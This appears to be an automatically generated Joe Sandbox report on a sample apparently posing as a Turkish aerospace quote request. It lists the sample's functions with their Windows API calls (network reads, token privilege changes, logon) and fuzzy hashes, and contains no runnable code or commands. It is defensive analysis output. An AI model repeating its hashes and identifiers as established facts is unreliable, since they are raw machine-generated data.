Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: 780d001d6c705d5e8a44142abf15218a589dbc670da6e6a97240588f01bd5a2a
Instruction ID: 8c231c3f5693b8b76a500ba84f1866371867c8867b8f24bfb631d84414d0e412
Opcode Fuzzy Hash: 780d001d6c705d5e8a44142abf15218a589dbc670da6e6a97240588f01bd5a2a
Instruction Fuzzy Hash: CA926771A083418FD720DF15C480B6BB7E1BF89314F14896DE88A9B262DB75EC45EF92

Function 00FFE616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00FFE628

Strings

|, xrefs: 00FFE658
(, xrefs: 00FFE66E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 8785a08b753f55fee2cbf299c4635e120bbca3a8e455963fafa330f0d97e4919
Instruction ID: 149df8bf2543ee9bca8f0b22553a161481a48c4b683cbf9f2434c7ef7a8ab6e6
Opcode Fuzzy Hash: 8785a08b753f55fee2cbf299c4635e120bbca3a8e455963fafa330f0d97e4919
Instruction Fuzzy Hash: FD322575A007099FD728DF19C481A6AB7F1FF48320B15C46EE99ADB3B1EB70A941CB44

Function 010122EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0101180A,00000000), ref: 010123E1
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 01012418

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: dec32d97d36a0705ffe9f0d9312139c3715db4cd9a827f82ca20bfd648e052a6
Instruction ID: 40fcfb9d35cb994f4fadb2efd0f30e87e7003c9f165f655af39c649db3ae41bc
Opcode Fuzzy Hash: dec32d97d36a0705ffe9f0d9312139c3715db4cd9a827f82ca20bfd648e052a6
Instruction Fuzzy Hash: FC41F57190420ABFEB20DE99DC81FBFB7FCEB40314F20806EF681A6145DB799E419660

Function 0100B333 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0100B343
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0100B39D
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0100B3EA

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: c1d963658a03babd0889a57eb05c98ffc2c1654090f100d8e7d8ab5d5f59e3e4
Instruction ID: 93a38b8675a0c632efaa003dcd20690f2e92d263f3bc1f95a44e2608236fb40b
Opcode Fuzzy Hash: c1d963658a03babd0889a57eb05c98ffc2c1654090f100d8e7d8ab5d5f59e3e4
Instruction Fuzzy Hash: 98217175A00108EFDB00EFA5D881AEEBBB8FF49314F1480A9E945AB355CB359915DB50

Function 00FF87E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00FC0DB6: std::exception::exception.LIBCMT ref: 00FC0DEC
Part of subcall function 00FC0DB6: __CxxThrowException@8.LIBCMT ref: 00FC0E01

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00FF882B
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00FF8858
GetLastError.KERNEL32 ref: 00FF8865

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 736d6d857794411dde3d50156ad5b1c8bd268fc5d041b2fc689e3202f232d925
Instruction ID: cc4541fdd1177566859c255f19867f3249497925668762d8ec97a995f23bc5d7
Opcode Fuzzy Hash: 736d6d857794411dde3d50156ad5b1c8bd268fc5d041b2fc689e3202f232d925
Instruction Fuzzy Hash: 2E1190B2814205AFD728DF54DC86D2BB7BCEF04750B20852EF45687201DE34AC41CB60

Function 00FF874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00FF8774
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00FF878B
FreeSid.ADVAPI32(?), ref: 00FF879B

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 93623aaf9ce7e72fd68d521471ab13f71f6ca9bcf3e92edcba05ab7fdc68af1d
Instruction ID: 196c4cf03c57e68e66ffb3bed332c9bade4faf162af1df3ee70e19a749936297
Opcode Fuzzy Hash: 93623aaf9ce7e72fd68d521471ab13f71f6ca9bcf3e92edcba05ab7fdc68af1d
Instruction Fuzzy Hash: 20F03775A1120DBBDB10DEE49989AAEBBBCEF08211F5044A9EA01E2180E6796A048B50

Function 0100C6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0100C6FB
FindClose.KERNEL32(00000000), ref: 0100C72B

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1ecebf07e25952ff0210c3a5995965dd56c3dc9234a3b2f19809b9055168304e
Instruction ID: f9e2606664d6d792c24e02576c9b45fdc2800d22adeb4888a29862fe1fd269f7
Opcode Fuzzy Hash: 1ecebf07e25952ff0210c3a5995965dd56c3dc9234a3b2f19809b9055168304e
Instruction Fuzzy Hash: 0C11A1726046049FDB10DF29CC45A2AF7E8FF85324F44865DF9A9D7291DB78A805CB81

Function 0100A06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,01019468,?,0102FB84,?), ref: 0100A097
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,01019468,?,0102FB84,?), ref: 0100A0A9

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: e80a9bbb24e6a3536a99c01e3ac527bce5c990a0002f2a52cc0588bd5a55bcae
Instruction ID: 6cde32cfb1a9291c93bda04c682974366a99fcd48ea5ab13b54ee84b144b69b1
Opcode Fuzzy Hash: e80a9bbb24e6a3536a99c01e3ac527bce5c990a0002f2a52cc0588bd5a55bcae
Instruction Fuzzy Hash: 67F0823520532DBBDB21AEA4CC48FEA776DBF097A1F008156F949D7181D6349544CBA1

Function 00FF81CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00FF8309), ref: 00FF81E0
CloseHandle.KERNEL32(?,?,00FF8309), ref: 00FF81F2

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 85682b4432fd441f9755f8efdfc1d95f3fa19a590659c54828a4a3d5d35965a9
Instruction ID: 8650d691053d870b973c160b6a5e020fb3e2f85bb3c3de6c7a7fc6e2a4e04428
Opcode Fuzzy Hash: 85682b4432fd441f9755f8efdfc1d95f3fa19a590659c54828a4a3d5d35965a9
Instruction Fuzzy Hash: 7EE0BF71010512EEE7352B60EC05E7777A9EF04350B24895DF595C4474DB666C91EB10

Function 00FCA155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00FC8D57,?,?,?,00000001), ref: 00FCA15A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00FCA163

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4e0069bf2a1b912cf1254b590949bc1e08707a0516f48d1eff50ca7f136cf740
Instruction ID: c7db986df3a87042823c09eaa46304b7afd2c0f8abbf447ecc89791cb938edfe
Opcode Fuzzy Hash: 4e0069bf2a1b912cf1254b590949bc1e08707a0516f48d1eff50ca7f136cf740
Instruction Fuzzy Hash: C2B0923105420AEBCA202F91E809B883F78EB44AE2F508010F64D84054CBE754508B91

Function 00FCF1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70905c5e5a89c6d3f9af74e27eb05e0588551df8c97e79df563039d1c0447e9d
Instruction ID: 4fea84e222a24523393ba61589c6392c58e9fccf3702f440e28380b6dba1438f
Opcode Fuzzy Hash: 70905c5e5a89c6d3f9af74e27eb05e0588551df8c97e79df563039d1c0447e9d
Instruction Fuzzy Hash: C0322272D29F024DD7279534C932335A25DAFB73D4F14C73BE85AB59AAEB29C4835200

Function 00FD242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c333baba1fb4003f05d4d6f3043bc49599edcc30d0a9ef70632a99425d1418a
Instruction ID: 25b7becff4665a5e0b194fa5c32d95634a3e2ca783edef8b4866fdb2d62a19ef
Opcode Fuzzy Hash: 5c333baba1fb4003f05d4d6f3043bc49599edcc30d0a9ef70632a99425d1418a
Instruction Fuzzy Hash: 28B10131E2AF408DD72396398831336B65CAFBB2C5F51D71BFCA6B1D16EB2685835240

Function 01008889 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 0100889B

Part of subcall function 00FC520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,01008F6E,00000000,?,?,?,?,0100911F,00000000,?), ref: 00FC5213
Part of subcall function 00FC520A: __aulldiv.LIBCMT ref: 00FC5233

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2893107130-0
Opcode ID: 53a201c8cda173a25c8cae77ecf3f1841c47eaf01457b24d19925e1a5eae8920
Instruction ID: a744b049d1607cf10e70962d9c40b28320195866b0663cb0716f277ceaaf285f
Opcode Fuzzy Hash: 53a201c8cda173a25c8cae77ecf3f1841c47eaf01457b24d19925e1a5eae8920
Instruction Fuzzy Hash: 9B21AF32A256108BD72ACF29D441A52B3E1EBA5311F288E6DD1F5CB2C0CA35B905CB94

Function 01004C27 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 01004C4A

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 5467691819165dd9073ab16613d8c14553fc5e259d9b171ca03f362f6370079b
Instruction ID: 8fa64b974c4e784b7a08462fc5a32d4556001ef10bcec07d370e257321aa5607
Opcode Fuzzy Hash: 5467691819165dd9073ab16613d8c14553fc5e259d9b171ca03f362f6370079b
Instruction Fuzzy Hash: 57D05EA516461E78FCEE0B249A2FF7A15C8E3806C2FC081C973C1CA0C1ECC458404138

Function 00FF87B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00FF8389), ref: 00FF87D1

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 17f7bf759fd015af7081b6465bd93b5611ea961b8ac97a9807667aada95ffe95
Instruction ID: c45ea7ede5db869f9ad6826db7eebdd21c6579e56be73f10a9c1ee6bd5ee0580
Opcode Fuzzy Hash: 17f7bf759fd015af7081b6465bd93b5611ea961b8ac97a9807667aada95ffe95
Instruction Fuzzy Hash: 6DD05E3226050EABEF118EA4DD01EAE3B69EB04B01F808111FE15D5090C77AD835AF60

Function 00FCA124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00FCA12A

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c9e743fecbfe8cd06a60452b098aa1ed48e5c689674fde609cb375137e77a48f
Instruction ID: df8d1cde32827d8a0a777400c8f38732c52cfdf39c54ae69bd9c18336cb79aed
Opcode Fuzzy Hash: c9e743fecbfe8cd06a60452b098aa1ed48e5c689674fde609cb375137e77a48f
Instruction Fuzzy Hash: 72A0113000020EEB8A202E82E808888BFACEA002E0B008020F80C800228BB3A8208A80

Function 00FB8808 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df4fd4e3cc4f5131de0e482b52fe08fc65a07666966f9d7d3ece7408127e4d25
Instruction ID: 002a779c53e30318d232a434021657b496e268aa2cddefc306a81a40c710389d
Opcode Fuzzy Hash: df4fd4e3cc4f5131de0e482b52fe08fc65a07666966f9d7d3ece7408127e4d25
Instruction Fuzzy Hash: 55224831D0414ADBDF388A16C4943BD77A9FF817A4F24406AD642CB5A2DB74AC82FF41

Function 00FC21C5 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 1c5189bf15134f41a52023c7b8e432b0353f148dc6f395ec35a4907960b732f9
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 55C1DA326050930AEF5D46398636A3EFBA1AEA37B131A075DD4B3CB1C5EE10C979E650

Function 00FC25FA Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: a9662a08dcfd67055497935d93b8215c7e7ba5056ed95b67c277c4ba94e6c1e4
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
